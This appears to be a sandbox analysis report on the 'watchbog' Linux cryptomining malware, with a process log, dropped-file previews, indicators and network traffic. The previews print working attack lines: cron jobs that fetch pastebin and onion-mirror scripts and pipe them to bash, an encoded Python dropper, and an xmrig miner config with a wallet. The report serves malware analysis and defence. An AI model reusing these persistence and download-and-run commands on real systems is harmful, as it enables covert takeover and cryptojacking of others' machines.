curl (PID: 19691, Parent: 19690, MD5: 53ea41160209f7801a5d5f07b546a9cd) Arguments: curl -fsSL https://github.com/xmrig/xmrig/releases/download/v2.14.1/xmrig-2.14.1-xenial-x64.tar.gz -o /tmp/.tmpdropoff/rig.tar.gz

bash New Fork (PID: 19712, Parent: 19147)

tar (PID: 19712, Parent: 19147, MD5: dbc4507f4db5b41f7358b28bce65a15d) Arguments: tar -xzvf /tmp/.tmpdropoff/rig.tar.gz -C /tmp/.tmpdropoff//dataoutput/

tar New Fork (PID: 19721, Parent: 19712)

gzip (PID: 19721, Parent: 19712, MD5: 25ea567880cec4ac02e7a77ad304e3c6) Arguments: gzip -d

bash New Fork (PID: 19743, Parent: 19147)

mv (PID: 19743, Parent: 19147, MD5: 0cdfdd010d5f4acab64a1d89066c92e9) Arguments: mv /tmp/.tmpdropoff/dataoutput/xmrig-2.14.1/xmrig-notls /bin/watchbog

bash New Fork (PID: 19744, Parent: 19147)

rm (PID: 19744, Parent: 19147, MD5: b79876063d894c449856cca508ecca7f) Arguments: rm -rf /tmp/.tmpdropoff/

bash New Fork (PID: 19749, Parent: 19147)

chmod (PID: 19749, Parent: 19147, MD5: 32c8c7318223ebc5b934a78cfc153d6f) Arguments: chmod 777 /bin/watchbog

bash New Fork (PID: 19753, Parent: 19147)

nohup (PID: 19753, Parent: 19147, MD5: 3b11bb9dc8a020bb26e3cf5cf1da3cba) Arguments: nohup ./watchbog

watchbog (PID: 19753, Parent: 19147, MD5: unknown) Arguments: ./watchbog

bash New Fork (PID: 19754, Parent: 19147)

sleep (PID: 19754, Parent: 19147, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 15

bash New Fork (PID: 19801, Parent: 19147)

bash New Fork (PID: 19802, Parent: 19801)

ps (PID: 19802, Parent: 19801, MD5: 37339e5441057d422e61e8a471505337) Arguments: ps -fe

bash New Fork (PID: 19803, Parent: 19801)

grep (PID: 19803, Parent: 19801, MD5: fc9b0a0ff848b35b3716768695bf2427) Arguments: grep watchbog

bash New Fork (PID: 19804, Parent: 19801)

grep (PID: 19804, Parent: 19801, MD5: fc9b0a0ff848b35b3716768695bf2427) Arguments: grep -v grep

bash New Fork (PID: 19805, Parent: 19801)

wc (PID: 19805, Parent: 19801, MD5: 0d6e0835ddbd0b179ae07b6317c676d4) Arguments: wc -l

bash New Fork (PID: 19838, Parent: 19147)

bash New Fork (PID: 19839, Parent: 19838)

curl (PID: 19839, Parent: 19838, MD5: 53ea41160209f7801a5d5f07b546a9cd) Arguments: curl -fsSL https://pastebin.com/raw/LUN80Hj8

bash New Fork (PID: 19849, Parent: 19147)

touch (PID: 19849, Parent: 19147, MD5: 1f168f69957c0fffbdd62556ad215f3c) Arguments: touch /tmp/.tmpc

bash New Fork (PID: 19850, Parent: 19147)

sleep (PID: 19850, Parent: 19147, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 30

cleanup

Created / dropped Files

/bin/config.json Download File
Process:	./watchbog
File Type:	ASCII text
Size (bytes):	1183
Entropy (8bit):	4.286659623437755
Encrypted:	false
MD5:	D3B1DDBAF0FAA77C317C0DF332C63FC2
SHA1:	0D34FDA949A9D508DE0E2EB6834672F55BC4B83D
SHA-256:	7C3184B387482C40B25838AD3627FD817E0CEBE4F097178D29446B64BC1E17E0
SHA-512:	0680ED31448FCDE464516F8447E7945D3A3DF2B071BDECD549613639A99F0806F02028B43114351A797B46164AA3022697E8AC03C0AD3BE1C200D7F1F96B36FA
Malicious:	true
Reputation:	low
Preview:	{. "algo": "cryptonight",. "api": {. "port": 0,. "access-token": null,. "id": null,. "worker-id": null,. "ipv6": false,. "restricted": true. },. "asm": true,. "autosave": true,. "av": 0,. "background": false,. "colors": false,. "cpu-affinity": null,. "cpu-priority": null,. "donate-level": 1,. "huge-pages": true,. "hw-aes": null,. "log-file": null,. "max-cpu-usage": 100,. "pools": [. {. "url": "pool.minexmr.com:80",. "user": "47k2wdnyyBoMT6N9ho5Y7uQg1J6gPsTboKP6JXfB5msf3jUUvTfEceK5U7KLnWir5VZPKgUVxpkXnJLmijau3VZ8D2zsyL7.old",. "pass": "x",. "rig-id": null,. "nicehash": false,. "keepalive": false,. "variant": -1,. "enabled": true,. "tls": false,. "tls-fingerprint": null. }. ],. "print-time": 60,. "retries": 5,. "retry-pause": 5,. "safe": false,. "threads": [.

/bin/ftpsdns Download File
Process:	/usr/bin/curl
File Type:	ASCII text, with very long lines, with no line terminators
Size (bytes):	1028
Entropy (8bit):	5.620962650757794
Encrypted:	false
MD5:	90AE88815BEFE7743FC74D363EEE56D6
SHA1:	7474FEDDE5E494485AF620606E906F79639A97AF
SHA-256:	67B912D342C7A920891D05EDCFA39E0F61EA45762DD1B75646E18B5125BC0493
SHA-512:	45A207D382BED85DED98F87B3C7BD5BB5A66BE75E4006590A83B1A410D1362B7977383F00D399719A1C4C07CA36713ACFFEF48BD96CC1DFCC07B6CE9AF59015A
Malicious:	true
Reputation:	low
Preview:	python -c "import base64;exec(base64.b64decode('IyEvdXNyL2Jpbi9lbnYgcHl0aG9uCiMgLSotIGNvZGluZzogdXRmLTggLSotCmZyb20gb3MgaW1wb3J0IHBhdGgsIHN5c3RlbSwgZ2V0dWlkCgpkZWYgR2V0RGVwcygpOgogICAgaWYgbm90IHBhdGguaXNmaWxlKCcvdXNyL2Jpbi93Z2V0Jyk6CiAgICAgICAgc3lzdGVtKCJ5dW0gY2xlYW4gYWxsIikKICAgICAgICBzeXN0ZW0oInl1bSAteSBpbnN0YWxsIHdnZXQiKQogICAgICAgIHN5c3RlbSgiYXB0LWdldCB1cGRhdGUiKQogICAgICAgIHN5c3RlbSgiYXB0LWdldCAteSBpbnN0YWxsIHdnZXQiKQogICAgaWYgbm90IHBhdGguaXNmaWxlKCcvdXNyL2Jpbi9jdXJsJyk6CiAgICAgICAgc3lzdGVtKCJ5dW0gY2xlYW4gYWxsIikKICAgICAgICBzeXN0ZW0oInl1bSAteSBpbnN0YWxsIGN1cmwiKQogICAgICAgIHN5c3RlbSgiYXB0LWdldCB1cGRhdGUiKQogICAgICAgIHN5c3RlbSgiYXB0LWdldCAteSBpbnN0YWxsIGN1cmwiKQoKaWYgZ2V0dWlkKCk9PTA6CiAgICBHZXREZXBzKCkKc3lzdGVtKCIoY3VybCAtZnNTTCBodHRwczovL3Bhc3RlYmluLmNvbS9yYXcvV0hwWjl0OGV8fHdnZXQgLXEgLU8tIGh0dHBzOi8vcGFzdGViaW4uY29tL3Jhdy9XSHBaOXQ4ZSl8YmFzaCIpCnN5c3RlbSgiKGN1cmwgLWZzU0wgaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L3lWQWVlS1RCfHx3Z2V0IC1xIC1PIC0gaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L3lWQWVlS1RCKXxi

/bin/httpntp Download File
Process:	/bin/bash
File Type:	ASCII text
Size (bytes):	251
Entropy (8bit):	5.127166124667473
Encrypted:	false
MD5:	037CD5F038C009615C69177D3E4EC55F
SHA1:	8BD1B372D04D746B6CB1D3BCB316D56561B9A723
SHA-256:	C9564305899A8DA4B61C06AD53F86B9EC062314933CDB29F27585A9E9BDC1739
SHA-512:	C009A944F400DBA5D45AFDBC4F5FC24D058E274B33AB4D4C8192AF8C76D9B4844315EC482A0F1AD8078202C52C274E42570097327730AA38727B5762F2F5568A
Malicious:	true
Reputation:	low
Preview:	(python -c 'import urllib2 as fbi;print fbi.urlopen("https://pastebin.com/raw/4HvzGfGm").read()'\|\|curl -fsSLk https://aziplcr72qjhzvin.onion.to/old.txt\|\|wget -q -O - https://aziplcr72qjhzvin.onion.to/old.txt --no-check-certificate -t 2 -T 60)\|bash.##.

/etc/cron.d/apache Download File
Process:	/bin/bash
File Type:	ASCII text, with very long lines
Size (bytes):	455
Entropy (8bit):	5.230146200081588
Encrypted:	false
MD5:	5E8CE3D79B23296F6EF7FF1DADE33BE0
SHA1:	3C89AFF6E716C3F2BDC005CB9881AF14422073D0
SHA-256:	3C2591CCA36F368C06C8C57C139938BB5A8BA3D8309D09BD8EE3AA9D2DFC1C37
SHA-512:	15238D11FA0CCCAD7FA98CAE65E98E92A180ABAD661B19FF50676E69F5B3237E606220F6537DA6A074C714244BFB3A9E48DF0D4ECB6457E92C8DC1E600655BDB
Malicious:	true
Reputation:	low
Preview:	/7 * * * root (curl -fsSL https://pastebin.com/raw/EzqVke6X\|\|wget -q -O- https://pastebin.com/raw/EzqVke6X\|\|python -c 'import urllib2 as fbi;print fbi.urlopen("https://pastebin.com/raw/4HvzGfGm").read()'\|\|curl -fsSL https://pastebin.com/raw/3FDDiNwW\|\|wget -q -O - https://pastebin.com/raw/3FDDiNwW\|\|curl -fsSLk https://aziplcr72qjhzvin.onion.to/old.txt\|\|wget -q -O - https://aziplcr72qjhzvin.onion.to/old.txt --no-check-certificate -t 2 -T 60)\|bash.##.

/etc/cron.d/root Download File
Process:	/bin/bash
File Type:	ASCII text, with very long lines
Size (bytes):	455
Entropy (8bit):	5.230146200081588
Encrypted:	false
MD5:	487EB5C09FD171D7865399AA61B00675
SHA1:	EC4EBE4544F51BD17D410D4506448FC757FD18A8
SHA-256:	07D3FFB888E693E607F6880FBDD8EA3BB1C7139F6E706B72E38095A4A87A4352
SHA-512:	919E68BF5E76595E3D5FAF9551316EFFE7B8E8164197A79568F061B1E19CD80F58ED2AF7540454D5D831CD47914079F2D5D0A174E0110F18700BD29ADCD5BA1D
Malicious:	true
Reputation:	low
Preview:	/3 * * * root (curl -fsSL https://pastebin.com/raw/EzqVke6X\|\|wget -q -O- https://pastebin.com/raw/EzqVke6X\|\|python -c 'import urllib2 as fbi;print fbi.urlopen("https://pastebin.com/raw/4HvzGfGm").read()'\|\|curl -fsSL https://pastebin.com/raw/3FDDiNwW\|\|wget -q -O - https://pastebin.com/raw/3FDDiNwW\|\|curl -fsSLk https://aziplcr72qjhzvin.onion.to/old.txt\|\|wget -q -O - https://aziplcr72qjhzvin.onion.to/old.txt --no-check-certificate -t 2 -T 60)\|bash.##.

/etc/cron.d/system Download File
Process:	/bin/bash
File Type:	ASCII text, with very long lines
Size (bytes):	455
Entropy (8bit):	5.229068782508681
Encrypted:	false
MD5:	7EBFDC06C92D0A74407A215A6EDE31CA
SHA1:	62F9EA3EF125AA2517E9B5AD881B886CC941506C
SHA-256:	5182729F00AD71F1922711F4784CEA1B179E29FFDDA34C8FDF0948FBCE68EE76
SHA-512:	198220B64BE635CA1FC7C7A3C3C9A97FA04453A02208A3ECD23981E154A99B2CB41B42A84AE2300A31BDD33F01F35A590908FD6E6CE6D2CF2190570F116F78C3
Malicious:	true
Reputation:	low
Preview:	/6 * * * root (curl -fsSL https://pastebin.com/raw/EzqVke6X\|\|wget -q -O- https://pastebin.com/raw/EzqVke6X\|\|python -c 'import urllib2 as fbi;print fbi.urlopen("https://pastebin.com/raw/4HvzGfGm").read()'\|\|curl -fsSL https://pastebin.com/raw/3FDDiNwW\|\|wget -q -O - https://pastebin.com/raw/3FDDiNwW\|\|curl -fsSLk https://aziplcr72qjhzvin.onion.to/old.txt\|\|wget -q -O - https://aziplcr72qjhzvin.onion.to/old.txt --no-check-certificate -t 2 -T 60)\|bash.##.

/etc/cron.daily/oanacroane Download File
Process:	/bin/bash
File Type:	ASCII text
Size (bytes):	112
Entropy (8bit):	4.928465164415504
Encrypted:	false
MD5:	97043F28E3840399AB34E377F442D99A
SHA1:	6F8473D173F1917EDA7AD2C385FBED24631FE218
SHA-256:	C72B4C065F2AC0227CD36870A1680AC1E06E72A47A1169C53D60BD9B44B2D01E
SHA-512:	C54216A405495C6FE4F443A2C5B2E5508C23F013629B4689BFD6EFD94B6B51101A2A56AB1B7C2AA2E32D3D4B798D841AAE2ABD783D57415B0087BA24EF3E9563
Malicious:	true
Reputation:	low
Preview:	(curl -fsSL https://pastebin.com/raw/KJcZ9HLL\|\|wget -q -O - https://pastebin.com/raw/KJcZ9HLL)\| base64 -d \|bash.

/etc/cron.hourly/oanacroane Download File
Process:	/bin/bash
File Type:	ASCII text
Size (bytes):	112
Entropy (8bit):	4.928465164415504
Encrypted:	false
MD5:	97043F28E3840399AB34E377F442D99A
SHA1:	6F8473D173F1917EDA7AD2C385FBED24631FE218
SHA-256:	C72B4C065F2AC0227CD36870A1680AC1E06E72A47A1169C53D60BD9B44B2D01E
SHA-512:	C54216A405495C6FE4F443A2C5B2E5508C23F013629B4689BFD6EFD94B6B51101A2A56AB1B7C2AA2E32D3D4B798D841AAE2ABD783D57415B0087BA24EF3E9563
Malicious:	true
Reputation:	low
Preview:	(curl -fsSL https://pastebin.com/raw/KJcZ9HLL\|\|wget -q -O - https://pastebin.com/raw/KJcZ9HLL)\| base64 -d \|bash.

/etc/cron.monthly/oanacroane Download File
Process:	/bin/bash
File Type:	ASCII text
Size (bytes):	112
Entropy (8bit):	4.928465164415504
Encrypted:	false
MD5:	97043F28E3840399AB34E377F442D99A
SHA1:	6F8473D173F1917EDA7AD2C385FBED24631FE218
SHA-256:	C72B4C065F2AC0227CD36870A1680AC1E06E72A47A1169C53D60BD9B44B2D01E
SHA-512:	C54216A405495C6FE4F443A2C5B2E5508C23F013629B4689BFD6EFD94B6B51101A2A56AB1B7C2AA2E32D3D4B798D841AAE2ABD783D57415B0087BA24EF3E9563
Malicious:	true
Reputation:	low
Preview:	(curl -fsSL https://pastebin.com/raw/KJcZ9HLL\|\|wget -q -O - https://pastebin.com/raw/KJcZ9HLL)\| base64 -d \|bash.

/etc/crontab Download File
Process:	/bin/bash
File Type:	ASCII text
Size (bytes):	56
Entropy (8bit):	3.7574622877813324
Encrypted:	false
MD5:	BC07B6AB91BCEBE1915028FD89F34572
SHA1:	0FCB27267093AF4213825721D848204F51770C33
SHA-256:	38F31E56B6E1FDEC1CBFAD2E7CB904A8A1ABE61781FAA624507A4A73DECE3786
SHA-512:	40A4C68D743C25BAA4D1E1F11F6DB486D4CC934350B076013717FEB7D947889DBA443971D69786E4C29217E9394EBDBCCBB7987D713916FB9891952A2B178762
Malicious:	true
Reputation:	low
Preview:	0 1 * * * root /bin/httpntp.5 1 * * * root /bin/ftpsdns.

/etc/sedTLJ6tF Download File
Process:	/bin/sed
File Type:	ASCII English text
Size (bytes):	722
Entropy (8bit):	4.7770063668556455
Encrypted:	false
MD5:	8F111D100EA459F68D333D63A8EF2205
SHA1:	077CA9C46A964DE67C0F7765745D5C6F9E2065C3
SHA-256:	0E5C204385B21E15B031C83F37212BF5A4EE77B51762B7B54BD6AD973EBDF354
SHA-512:	D81767B47FB84AAF435F930356DED574EE9825EC710A2E7C26074860D8A385741D65572740137B6F9686C285A32E2951CA933393B266746988F1737AAD059ADB
Malicious:	false
Reputation:	low
Preview:	# /etc/crontab: system-wide crontab.# Unlike any other crontab you don't have to run the `crontab'.# command to install the new version when you edit this file.# and files in /etc/cron.d. These files also have username fields,.# that none of the other crontabs do...SHELL=/bin/sh.PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin..# m h dom mon dow user.command.17 . * .root cd / && run-parts --report /etc/cron.hourly.25 6. * .root.test -x /usr/sbin/anacron \|\| ( cd / && run-parts --report /etc/cron.daily ).47 6. * 7.root.test -x /usr/sbin/anacron \|\| ( cd / && run-parts --report /etc/cron.weekly ).52 6.1 * *.root.test -x /usr/sbin/anacron \|\| ( cd / && run-parts --report /etc/cron.monthly ).#.

/etc/seddlpHGC Download File
Process:	/bin/sed
File Type:	ASCII English text
Size (bytes):	722
Entropy (8bit):	4.7770063668556455
Encrypted:	false
MD5:	8F111D100EA459F68D333D63A8EF2205
SHA1:	077CA9C46A964DE67C0F7765745D5C6F9E2065C3
SHA-256:	0E5C204385B21E15B031C83F37212BF5A4EE77B51762B7B54BD6AD973EBDF354
SHA-512:	D81767B47FB84AAF435F930356DED574EE9825EC710A2E7C26074860D8A385741D65572740137B6F9686C285A32E2951CA933393B266746988F1737AAD059ADB
Malicious:	false
Reputation:	low
Preview:	# /etc/crontab: system-wide crontab.# Unlike any other crontab you don't have to run the `crontab'.# command to install the new version when you edit this file.# and files in /etc/cron.d. These files also have username fields,.# that none of the other crontabs do...SHELL=/bin/sh.PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin..# m h dom mon dow user.command.17 . * .root cd / && run-parts --report /etc/cron.hourly.25 6. * .root.test -x /usr/sbin/anacron \|\| ( cd / && run-parts --report /etc/cron.daily ).47 6. * 7.root.test -x /usr/sbin/anacron \|\| ( cd / && run-parts --report /etc/cron.weekly ).52 6.1 * *.root.test -x /usr/sbin/anacron \|\| ( cd / && run-parts --report /etc/cron.monthly ).#.

/tmp/.tmpdropoff/dataoutput/xmrig-2.14.1/config.json Download File
Process:	/bin/tar
File Type:	ASCII text
Size (bytes):	941
Entropy (8bit):	4.104220312149258
Encrypted:	false
MD5:	FD4F058613D8196CE4C55071A474554C
SHA1:	91758F90E908C16A33D1989E09582EF7461701D6
SHA-256:	0F66C7229AA4245940187A2F8BFF8276239C96B26D46985E662FDC2E8CDD12B5
SHA-512:	52921DAB5A26EA717A70B0A6C95B884A92A92607140261844DCBDF0522A909F4C37B570F296496732B9B166BB7DDF4DAC5E443150C9A2A74E7697E19E2EE303E
Malicious:	false
Reputation:	low
Preview:	{. "algo": "cryptonight",. "api": {. "port": 0,. "access-token": null,. "id": null,. "worker-id": null,. "ipv6": false,. "restricted": true. },. "asm": true,. "autosave": true,. "av": 0,. "background": false,. "colors": true,. "cpu-affinity": null,. "cpu-priority": null,. "donate-level": 5,. "huge-pages": true,. "hw-aes": null,. "log-file": null,. "max-cpu-usage": 100,. "pools": [. {. "url": "donate.v2.xmrig.com:3333",. "user": "YOUR_WALLET_ADDRESS",. "pass": "x",. "rig-id": null,. "nicehash": false,. "keepalive": false,. "variant": -1,. "tls": false,. "tls-fingerprint": null. }. ],. "print-time": 60,. "retries": 5,. "retry-pause": 5,. "safe": false,. "threads": null,. "user-agent": null,. "watch": true.}

/tmp/.tmpdropoff/dataoutput/xmrig-2.14.1/xmrig Download File
Process:	/bin/tar
File Type:	ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, from 'x)', stripped
Size (bytes):	5249392
Entropy (8bit):	6.370382609342636
Encrypted:	false
MD5:	65CFCAD6DC3D31695B8F3FFA08E5D389
SHA1:	CF76429996C82131C3FD8F505C705C1A151C55F4
SHA-256:	BB9C62AEFA457D436EBDC82AA36F08955B2CBFDFBBC6394B2E039B9CFFAFACE4
SHA-512:	BAADE6F0B989AFBE368E3EE835D653AAA3BF19DCC7A8EF9701F4AF6E27EAC900F1FAD8132BF9C298DB2D45911A7992717AD3B5ACFCF63BE0D92167C796331401
Malicious:	true
Reputation:	low
Preview:	.ELF..............>.....PiL.....@.........P.........@.8...@.".!.........@.......@.@.....@.@.....0.......0.......................p.......p.@.....p.@...............................................@.......@......vL......vL....... ...............L..............................d........ .............h.O.....h.......h....... ....... .................................@.......@.....D.......D.........................L.............................................P.td......C.....................dP......dP..............Q.td....................................................R.td......L.....................p/......p/............../lib64/ld-linux-x86-64.so.2.............GNU............. ...............GNU..z`a.vu....xv;.i..... ..<...............X...B9 A..F3..j..@. 0@... 0..D. ..v.J.......Q.*,..D...A..f.c.....!..........a.@P.j...@.0@V..&Z p]"@..DB...... ..@..L.a. .....+ 6H`.".@.D ..........0..0..`.@.....@...M0 ..........#........ . .a.t......."@Q.. .>.:....A..=]..S.3.h..x9..M. . .,....F....1..$A@..

/tmp/.tmpdropoff/dataoutput/xmrig-2.14.1/xmrig-notls Download File
Process:	/bin/tar
File Type:	ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, from 'x)', stripped
Size (bytes):	2668048
Entropy (8bit):	6.42614403541452
Encrypted:	false
MD5:	95721DE55AD89005484B4C21F768D94E
SHA1:	3DE63B309645803503B44A8413C49111F8F569E5
SHA-256:	7F52EFD3D2A99475164A9413ED2D1B947129099D67C72583633CEDBC6032F8E5
SHA-512:	6BBBC20233B5ECC0FD770EE0B318C1E489828D7BB2D62ABF6D7F86802FEFCD27AB101B2A07C8ABD0CB8AB0AB0BEB03E07C2AFCF74A5C1CF2207B62E8ED211C10
Malicious:	true
Yara Hits:	Rule: XMRIG_Monero_Miner, Description: Detects Monero mining software, Source: /tmp/.tmpdropoff/dataoutput/xmrig-2.14.1/xmrig-notls, Author: Florian Roth
Reputation:	low
Preview:	.ELF..............>.......G.....@.........(.........@.8...@.".!.........@.......@.@.....@.@.....0.......0.......................p.......p.@.....p.@...............................................@.......@.....$9(.....$9(....... ..............;(......;.......;.......o................ ...............(...............................................................@.......@.....D.......D........................;(......;.......;..............................P.td.....,$......,d......,d.............................Q.td....................................................R.td.....;(......;.......;.......d.......d............../lib64/ld-linux-x86-64.so.2.............GNU............. ...............GNU..ka....V.EA.b.J..8.........................ZD..A...4P.`..@..(.4. ..(.,.$..X.........[@@Tx..x..h.. .0.....b.....D.....<F"..0...&8.Y.ld..._.H ..B`&...2.(0.............H).f..`3.i...@C..@.c.......... .....@QA...:@.&..C"... ) .HX.L... $......C.@\|.(H.P.q!.......@...[.....(@6..%.Q. .....5.!@..............

/tmp/.tmpdropoff/rig.tar.gz Download File
Process:	/usr/bin/curl
File Type:	gzip compressed data, from Unix, last modified: Thu Mar 07 09:18:52 2019
Size (bytes):	3029010
Entropy (8bit):	7.992009159328695
Encrypted:	true
MD5:	B0206C7AA2F36634A43EF3F0FA7944C5
SHA1:	FBC1A1A96C8D7CEFC88DCAA1C1393E5C5232B706
SHA-256:	B48DDA017B9332A26D0D13EC912C360C3965292731D7EB3A9BFE441CAAE08BB3
SHA-512:	47E00F970A9A1A28D49FF1C09E47E5458F430243DC7D7EF16E2EAE7D44CFAF949B614BE3A18063F206A84BFBB8747412B8A28A8C110863650F324A0D3E6446D1
Malicious:	false
Reputation:	low
Preview:	.......\....wT...7pV...E.B.%.h....A.Er..A............D.D..,.b@....J.av..;}9..g.....f...................V..W...E..y..CUY.....r....J^QIIN^..J(9yEy.E.^...............C.\|\..C..}..........w..s...9........7XEI..{..U....._YAU....?y........34xx.:.x.......E....yyx..J!K.^...}.......DN.?#'....`...o7?X..........g..A.nA....W@..L..\|..v....C..\B.H......k).....E...BC......1.....:;.x{.......r...>.A..?.% T......+$.o..... /..........&......+...3..M:.........v..l.)\|.=...\|..>.u..&]64...K.r.=......)......w._.B.H....L...........S....?..........t8.ib.k....c.{..?..8...,.....W............S...................Z.s..r.#}...........:.V.5..p...._..n...D......%m....%..._/s..\|...^)..D.../..i...?n]0.3.....o3.e.........;..x..y......o_............O...+.+.).............'..tM.0h4._=.u...l...WO@........J.E..+..@QBO.k....J9..o.E...H...y.....E....]I..g@.[....-Q(...G.W....q....s...1..v..9.......$.-q..........<.y^....Og.~..........C..z.3!.........I..-......]....B............\..e.+.zUe}..U.d}\.}..B#.#.T.U.d..e.......f.......G..

/var/spool/cron/crontabs/root Download File
Process:	/bin/bash
File Type:	ASCII text, with very long lines
Size (bytes):	451
Entropy (8bit):	5.253165633199512
Encrypted:	false
MD5:	34F3AA4682611A11C8EA98D55CFEAC56
SHA1:	FDB3056D2763F376B6982012E6AAAFA8F955590E
SHA-256:	28F744BAA657C77824D8184DABC3FA3F4A4637C086EE09CCCAF2504E55646B87
SHA-512:	E973D10E2BFEA560F5195B05EF69C24ACC0891E1A986B2949D6BCCF2B9856E333B75336AA90669218E729BE290258A3F31A477BAE390442BE5C6C96F2A43A66C
Malicious:	true
Reputation:	low
Preview:	/11 * * * (curl -fsSL https://pastebin.com/raw/EzqVke6X\|\|wget -q -O- https://pastebin.com/raw/EzqVke6X\|\|python -c 'import urllib2 as fbi;print fbi.urlopen("https://pastebin.com/raw/4HvzGfGm").read()'\|\|curl -fsSL https://pastebin.com/raw/3FDDiNwW\|\|wget -q -O - https://pastebin.com/raw/3FDDiNwW\|\|curl -fsSLk https://aziplcr72qjhzvin.onion.to/old.txt\|\|wget -q -O - https://aziplcr72qjhzvin.onion.to/old.txt --no-check-certificate -t 2 -T 60)\|bash.##.

/var/spool/cron/root Download File
Process:	/bin/bash
File Type:	ASCII text, with very long lines
Size (bytes):	450
Entropy (8bit):	5.246488050072152
Encrypted:	false
MD5:	6B1DD92FD674847F3DE51855E0A13F1B
SHA1:	E76DA56FD1BE08F2E0FE521454C8CD0ED97EC7EE
SHA-256:	743D1420A1A03DA1FD116FBD2832ED7A20985D2F2EBF1BEBC0F936830CFEFD65
SHA-512:	2CF0885760BD74969DB490992ACECDA9349F429C756A8E3EE52C2108AE2B5286C6D9D80C0685CF4DE2FB781F6FFCFCCEB38E669D69B6CFAD7C8C795BFC69B773
Malicious:	true
Reputation:	low
Preview:	/9 * * * (curl -fsSL https://pastebin.com/raw/EzqVke6X\|\|wget -q -O- https://pastebin.com/raw/EzqVke6X\|\|python -c 'import urllib2 as fbi;print fbi.urlopen("https://pastebin.com/raw/4HvzGfGm").read()'\|\|curl -fsSL https://pastebin.com/raw/3FDDiNwW\|\|wget -q -O - https://pastebin.com/raw/3FDDiNwW\|\|curl -fsSLk https://aziplcr72qjhzvin.onion.to/old.txt\|\|wget -q -O - https://aziplcr72qjhzvin.onion.to/old.txt --no-check-certificate -t 2 -T 60)\|bash.##.

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
s3-1-w.amazonaws.com	54.231.120.203	true	false	high
github.com	140.82.118.4	true	false	high
pool.minexmr.com	37.59.45.174	true	false	high
pastebin.com	104.20.208.21	true	false	high
github-production-release-asset-2e65be.s3.amazonaws.com	unknown	unknown	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://pastebin.com/raw/KJcZ9HLL)	oanacroane.4.dr	false	high
https://pastebin.com/raw/EzqVke6X	system.4.dr	false	high
https://pastebin.com/raw/4HvzGfGm	apache.4.dr, httpntp.4.dr, root.4.dr, root0.4.dr, root1.4.dr, system.4.dr	false	high
https://pastebin.com/raw/KJcZ9HLL	oanacroane.4.dr	false	high
https://aziplcr72qjhzvin.onion.to/old.txt	system.4.dr	false	high
https://pastebin.com/raw/3FDDiNwW	system.4.dr	false	high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Country	ASN	ASN Name	Malicious
37.59.54.205	France	16276	unknown	true
140.82.118.4	United States	36459	unknown	false
54.231.120.203	United States	16509	unknown	false
104.20.208.21	United States	13335	unknown	false

Static File Info

General
File type:	Bourne-Again shell script text executable
Entropy (8bit):	5.606304569447983
TrID:	Linux/UNIX shell script (7007/1) 100.00%
File name:	AEjyioBcTB
File size:	15565
MD5:	82ee3a6c2e3d53ccf85108a6c644c0b9
SHA1:	1db603370e30234ca2cbd5cd84f5683f76f21513
SHA256:	26ebeac4492616baf977903bb8deb7803bd5a22d8a005f02398c188b0375dfa4
SHA512:	76abdcac7631cf17f69145046048eddeb0d805a89225b06b649cdf23cc928386b1b590a7e3a71d4767a5c5ff36b91b56e15718f39bc9e1ad910cda4c70391c86
SSDEEP:	192:gD4Ih2gySgdK2NzXqUgkLTdNjxrQ050+UIui6RE7Jr2LSZ2Lj2r2LFSfz7+ZEo8m:g8I5gdrzPgkLTdNQdZEXESk76EvP
File Content Preview:	#!/bin/bash.SHELL=/bin/sh.PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin.#This is the Old-ReBuild Lady job copy.#.#Goal:.# The goal of this campaign is as follows;.#.- To keep the internet safe..#.- To keep them hackers from causing rea

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 25, 2019 13:47:01.446321011 MESZ	55366	443	192.168.1.100	104.20.208.21
Jul 25, 2019 13:47:01.459085941 MESZ	443	55366	104.20.208.21	192.168.1.100
Jul 25, 2019 13:47:01.459408045 MESZ	55366	443	192.168.1.100	104.20.208.21
Jul 25, 2019 13:47:01.609111071 MESZ	55366	443	192.168.1.100	104.20.208.21
Jul 25, 2019 13:47:01.621735096 MESZ	443	55366	104.20.208.21	192.168.1.100
Jul 25, 2019 13:47:01.629519939 MESZ	443	55366	104.20.208.21	192.168.1.100
Jul 25, 2019 13:47:01.629568100 MESZ	443	55366	104.20.208.21	192.168.1.100
Jul 25, 2019 13:47:01.629590988 MESZ	443	55366	104.20.208.21	192.168.1.100
Jul 25, 2019 13:47:01.629710913 MESZ	55366	443	192.168.1.100	104.20.208.21
Jul 25, 2019 13:47:01.635387897 MESZ	55366	443	192.168.1.100	104.20.208.21
Jul 25, 2019 13:47:01.687997103 MESZ	443	55366	104.20.208.21	192.168.1.100
Jul 25, 2019 13:47:01.688252926 MESZ	55366	443	192.168.1.100	104.20.208.21
Jul 25, 2019 13:47:01.700689077 MESZ	443	55366	104.20.208.21	192.168.1.100
Jul 25, 2019 13:47:01.700726032 MESZ	443	55366	104.20.208.21	192.168.1.100
Jul 25, 2019 13:47:01.706393957 MESZ	55366	443	192.168.1.100	104.20.208.21
Jul 25, 2019 13:47:01.725888014 MESZ	443	55366	104.20.208.21	192.168.1.100
Jul 25, 2019 13:47:01.725918055 MESZ	443	55366	104.20.208.21	192.168.1.100
Jul 25, 2019 13:47:01.725929022 MESZ	443	55366	104.20.208.21	192.168.1.100
Jul 25, 2019 13:47:01.725940943 MESZ	443	55366	104.20.208.21	192.168.1.100
Jul 25, 2019 13:47:01.726039886 MESZ	55366	443	192.168.1.100	104.20.208.21
Jul 25, 2019 13:47:01.726314068 MESZ	55366	443	192.168.1.100	104.20.208.21
Jul 25, 2019 13:47:01.728210926 MESZ	55366	443	192.168.1.100	104.20.208.21
